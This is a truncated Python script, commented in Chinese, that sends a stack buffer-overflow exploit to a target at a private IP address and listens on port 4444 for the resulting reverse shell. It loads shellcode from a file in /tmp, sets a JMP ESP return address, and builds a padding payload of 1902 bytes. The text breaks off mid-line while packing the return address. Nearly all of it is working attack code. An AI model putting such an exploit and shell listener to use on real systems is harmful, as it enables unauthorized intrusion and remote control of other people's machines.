#!/usr/bin/python3 # -*- coding: utf-8 -*- # listener.py - 接收反弹 shell 并自动发送命令 # 用法: 先运行此脚本,它会自动发 exploit 并等待连接 import socket import time import threading import struct import sys sys.path.insert(0, '/tmp') from sc_final import buf as shellcode # --- 配置 --- TARGET = '192.168.1.110' LPORT = 4444 JMP_ESP = 0x625012d0 def send_exploit(): """后台发送 BOF exploit""" time.sleep(1) payload = b'A' * 1902 + struct.pack('